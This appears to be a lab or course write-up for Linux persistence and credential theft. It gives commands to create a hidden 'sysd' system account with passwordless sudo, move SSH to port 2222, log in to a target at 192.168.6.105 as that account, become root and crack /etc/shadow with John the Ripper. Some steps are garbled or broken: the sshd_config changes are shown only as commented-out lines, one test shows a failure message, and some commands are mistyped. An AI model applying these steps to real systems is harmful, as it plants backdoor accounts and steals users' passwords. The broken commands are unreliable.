**Step 1: Shadow People**

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created:
   * sudo adduser --system --no-create-home sysd
2. Give your secret user a password:
   * passwd sysd
3. Give your secret user a system UID < 1000:
   * usermod -u 666 sysd
4. Give your secret user the same GID:
   * groupadd -g 666 sysdgroup
   * usermod -g 666 sysd
5. Give your secret user full sudo access without the need for a password:
   * sudo usermod -aG sudo sysd
6. Test that sudo access works without your password:

su sysd

This account is currently not available.

**Step 2: Smooth Sailing**

1. Edit the sshd\_config file:

sudo nano /etc/ssh/sshd\_config

#Port 2222

#AddressFamily any

#ListenAddress 0.0.0.0

#ListenAddress ::

**Step 3: Testing Your Configuration Update**

1. Restart the SSH service:
   * sudo systemctl restart sshd
2. Exit the root account:
   * exit
3. SSH to the target machine using your sysd account and port 2222:
   * Sudo ssh [sysd@192.168.6.105](mailto:sysd@192.168.6.105) -p 2222
4. Use sudo to switch to the root user:
   * Su -s

**Step 4: Crack All the Passwords**

1. SSH back to the system using your sysd account and port 2222:
   * Sudo ssh [sysd@192.168.6.105](mailto:sysd@192.168.6.105) -p 2222
2. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:
   * Sudo john etc/shadow